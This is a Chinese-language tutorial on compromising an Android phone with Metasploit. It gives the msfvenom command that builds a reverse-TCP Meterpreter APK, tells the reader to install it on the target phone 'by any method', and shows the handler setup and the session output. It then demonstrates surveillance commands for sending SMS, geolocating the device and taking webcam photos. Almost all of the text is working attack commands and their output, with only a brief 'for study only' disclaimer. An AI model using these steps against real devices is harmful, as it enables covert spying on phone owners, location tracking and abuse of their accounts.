前言
使用metasploit对安卓系统渗透测试提权
一、生成攻击载荷
┌──(root💀kali)-[~]
└─# msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.113 lport=6666 R> pay2.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder specified, outputting raw payload
Payload size: 10187 bytes
将生成的攻击载荷文件安装到目标手机内(无论用任何方法)
二、加载主控端handler
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf6 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.1.113
lhost => 192.168.1.113
msf6 exploit(multi/handler) > set lport 6666
lport => 6666
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.113:6666
[*] Sending stage (77002 bytes) to 192.168.1.105
[*] Meterpreter session 1 opened (192.168.1.113:6666 -> 192.168.1.105:41207) at 2021-05-13 13:06:59 +0800
meterpreter > ls
Listing: /data/user/0/com.metasploit.stage/files
================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40776/rwxrwxrw- 4096 dir 2021-05-13 13:07:01 +0800 oat
meterpreter > ifconfig
Interface 1
============
Name : dummy0 - dummy0
Hardware MAC : ea:f1:0a:6f:b6:33
MTU : 1500
IPv6 Address : fe80::e8f1:aff:fe6f:b638
IPv6 Netmask : ffff:ffff:ffff:ffff::
Interface 2
============
Name : r_rmnet_data2 - r_rmnet_data2
Hardware MAC : 00:00:00:00:00:00
MTU : 1500
Interface 3
============
Name : r_rmnet_data3 - r_rmnet_data3
Hardware MAC : 00:00:00:00:00:00
MTU : 1500
Interface 4
============
Name : r_rmnet_data0 - r_rmnet_data0
Hardware MAC : 00:00:00:00:00:00
MTU : 1500
Interface 5
============
Name : lo - lo
Hardware MAC : 00:00:00:00:00:00
MTU : 65536
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
....
meterpreter >
成功获取目标手机meterpreter权限,可以进一步的监视手机使用情况,这里介绍以下几个:
meterpreter > help
①检查是否root
meterpreter > check_root
[*] Device is not rooted
②向任意号码发送短信(测试机无手机卡)
meterpreter > send_sms -d 18211111111 -t "hello"
[-] Error running command send_sms: Rex::TimeoutError Operation timed out.
③查看手机信息
meterpreter > sysinfo
Computer : localhost
OS : Android 9 - Linux 4.4.153-perf-ged862bb (aarch64)
Meterpreter : dalvik/android
meterpreter >
④手机定位
meterpreter > wlan_geolocate
⑤拍摄照片
meterpreter > webcam_snap
总结
本文简单介绍了使用metasploit对安卓手机渗透测试提权,仅供学习